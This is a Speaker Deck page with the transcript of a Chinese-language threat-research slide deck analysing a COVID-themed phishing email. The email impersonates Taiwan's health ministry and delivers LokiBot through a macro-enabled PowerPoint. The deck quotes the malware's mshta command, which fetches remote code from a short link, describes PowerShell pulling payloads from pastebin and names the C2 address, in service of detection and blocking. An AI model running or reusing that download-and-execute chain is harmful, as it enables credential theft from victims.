Upgrade to Pro
— share decks privately, control downloads, hide ads and more …
Speaker Deck
Features
Speaker Deck
PRO
Sign in
Sign up for free
Search
Search
假冒衛福部部名義寄送含惡意程式之電子郵件樣本分析
Search
ISSDU Threat Research
June 15, 2020
Research
0
1.3k
假冒衛福部部名義寄送含惡意程式之電子郵件樣本分析
ISSDU Threat Research
June 15, 2020
Tweet
Share
More Decks by ISSDU Threat Research
See All by ISSDU Threat Research
ITHOME2020_CyberSec101.pdf
issdu
1
1.5k
Threat Hunting & Compromised Assessment on the cheap 101
issdu
0
140
Other Decks in Research
See All in Research
メタ動画データセットによる動作認識の現状と可能性
yuyay
0
170
研究効率化Tips_2024 / Research Efficiency Tips 2024
ryo_nakamura
4
2.3k
CSC590 Lecture 01
javiergs
PRO
0
130
言語間転移学習で大規模言語モデルを賢くする
ikuyamada
6
1.8k
NeurIPS-23 参加報告 + DPO 解説
akifumi_wachi
4
1.4k
Breaking Tradeoffs: Extremely Scalable Multi-Agent Pathfinding Algorithms
kei18
0
140
Accurate Method and Variable Tracking in Commit History
tsantalis
0
240
My Journey as a UX Researcher
aranciap
0
1.1k
SCOPE-RL: オフライン強化学習とオフ方策評価のライブラリ
aiueola
0
110
20240209 データを肴に熊本の交通を考える会「車1割削減、渋滞半減、公共交通2倍」をめざし世界に学ぼう
trafficbrain
0
780
リサーチに組織を巻き込むための「準備8割」の話
terasho
0
460
First Authorに俺はなるっ!! IROS’23 CCC2023 FY
shota_nishiyama
0
170
Featured
See All Featured
Fantastic passwords and where to find them - at NoRuKo
philnash
36
2.5k
Pencils Down: Stop Designing & Start Developing
hursman
117
11k
個人開発の失敗を避けるイケてる考え方 / tips for indie hackers
panda_program
60
14k
Documentation Writing (for coders)
carmenintech
59
3.9k
RailsConf & Balkan Ruby 2019: The Past, Present, and Future of Rails at GitHub
eileencodes
124
32k
The Invisible Side of Design
smashingmag
294
49k
We Have a Design System, Now What?
morganepeng
42
6.7k
From Idea to $5000 a Month in 5 Months
shpigford
377
45k
実際に使うSQLの書き方 徹底解説 / pgcon21j-tutorial
soudai
119
38k
Rebuilding a faster, lazier Slack
samanthasiow
72
8.2k
Visualizing Your Data: Incorporating Mongo into Loggly Infrastructure
mongodb
34
8.9k
Designing on Purpose - Digital PM Summit 2013
jponch
110
6.4k
Transcript
假冒衛福部部名義寄送含惡意 程式之電子郵件樣本分析 ISSDU Threat Research
Agenda • 樣本來源 • 樣本分析 • 樣本追蹤 • 結論與應處
樣本來源 ISSDU Threat Research
3 偽冒信件內容 • 研判該信件內容偽冒我國衛生福利部代理主任秘書”鄭舜平” • 信件署名為”台灣衛生部” ISSD U Threat R
esearch
4 寄件者追蹤 • 透過情資分享可發現到該信件寄件來源為”95.216.8.75”,為一芬蘭主 機商,研判為跳板主機 ISSD U Threat R esearch
5 樣本背景資訊 covid-19防护设备申请表.pot (VT: 27/62) • md5,D0ED831EE17E87FE82B1B203CF1C7405 • sha256,BA5C251F78A1D57B72901F4FF80824D6AD0AA4BF1931C5 93A36254DB4AB41021
Covid-19防护措施.ppt (VT: 27/62) • md5,D0ED831EE17E87FE82B1B203CF1C7405 • sha256,BA5C251F78A1D57B72901F4FF80824D6AD0AA4BF1931C5 93A36254DB4AB41021 ISSD U Threat R esearch
樣本分析 ISSDU Threat Research
7 行為分析(1) • 在VM中開啟PPT檔案,會詢問是否啟用巨集 ISSD U Threat R esearch
行為分析(2) • 從MDR後台可看到PPT執行後產生了”mshta.exe”以及來源為”檔案 瀏覽器(點擊開啟檔案)” ISSD U Threat R esearch
行為分析(3) • PPT產生的執行續”mshta”遭偵測為”Initial Access - Spearphishing Attachment – PowerPoint” ISSD
U Threat R esearch
行為分析(4) • 針對”mshta http://%20%
[email protected]
/asdakdxassddodkasodkaos”進 行檔案分析 • 該檔案使用WSCRIPT下載並執行多個”pastebin.com”上的內容 ISSD U Threat
R esearch
行為分析(5) • 第二段的”mshta”被偵測為”Command And Control - Command Interpreter Suspicious Download”
ISSD U Threat R esearch
行為分析(6) • 該檔案經解碼後發現其透過”POWERSHELL”下載並執 行”pastebin.com”上面的檔案 ISSD U Threat R esearch
行為分析(7) • 接續前頁POWERSHELL分析可發現到該POWERSHLL行為讓多個行為規 則告警 ISSD U Threat R esearch
行為分析(8) • POWERSHELL呼叫”InstallUtil”回報中繼站” 198.23.200.239” ISSD U Threat R esearch
行為分析(9) • 分析中繼站連線封包可發現到會回傳主機名稱等資訊 ISSD U Threat R esearch
樣本分析(1) • Sha256 • 95322ABC2EB990F100D99A83 1A2779D298B75D2410727FA8 42CA0A85BA4907DA(VT:53/72) • LOKIBOT第一段組件: •
關閉Windows Defender • 關閉Office安全性 ISSD U Threat R esearch
樣本分析(2) • Sha256(主要以竊取各種軟體帳號密碼為主要功能) • B88F644115A4B4CAAAFBED310FB6B8E2E6FDDA500CD5F495A229 A0A75E65FB9F(VT:64/73) ISSD U Threat R
esearch
樣本追蹤 ISSDU Threat Research
中繼站追蹤 • 透過該中繼站IP可發現到VIRUSTOTAL上九十天內已發現”155”個相關 樣本 ISSD U Threat R esearch
樣本追蹤關聯(1) • 該樣本已遭知名線上沙箱網站判定為”Lokibot”家族 ISSD U Threat R esearch
樣本追蹤關聯(2) • 該樣本使用多階段下載並載入相關內容,關聯圖如下: ISSD U Threat R esearch
樣本追蹤關聯(3) • 該樣本以ATT&CK技術涵蓋階段如下: ISSD U Threat R esearch
Lokibot為知名網路犯罪使用病毒 • https://any.run/malware-trends/lokibot ISSD U Threat R esearch
斯洛維尼亞CERT於近期也發布相關告警 • https://www.cert.si/si-cert-2020-05-lazno-sporocilo-nijz/ ISSD U Threat R esearch
結論與應處 ISSDU Threat Research
偽裝成衛福部官員信件 95.216.8.75 (寄件來源) 1 MSHTA mshta http://%20%20@j. mp/asdakdxassddo dkasodkaos 4
POWERSHELL 下載並植入 pastebin.com 內容 5 回報中繼站 198.23.200.239 竊取帳號密碼 關閉資安防護 6 附件檔案為PPT Covid-19防护措施.ppt 2 使用巨集載入後續內容 3 攻擊流程摘整 ISSD U Threat R esearch
結論 • COVID-19期間國際間已發現許多依該題材進行的社交工程郵件攻擊 • 由於我方收到的郵件題材署名為”台灣衛生部”,研判非針對性攻擊 • 國外CERT組織也發布行為類似的惡意軟體告警,研判為大量散播的釣魚 攻擊 ISSD U
Threat R esearch
應處 • 阻擋中繼站 • 198[.]23[.]200[.]239 • 樣本送樣 • 將我方提供之樣本提供給防毒軟體廠商進行送樣 •
COVID-19期間都需要針對該類型題材提高警覺 ISSD U Threat R esearch
Thank You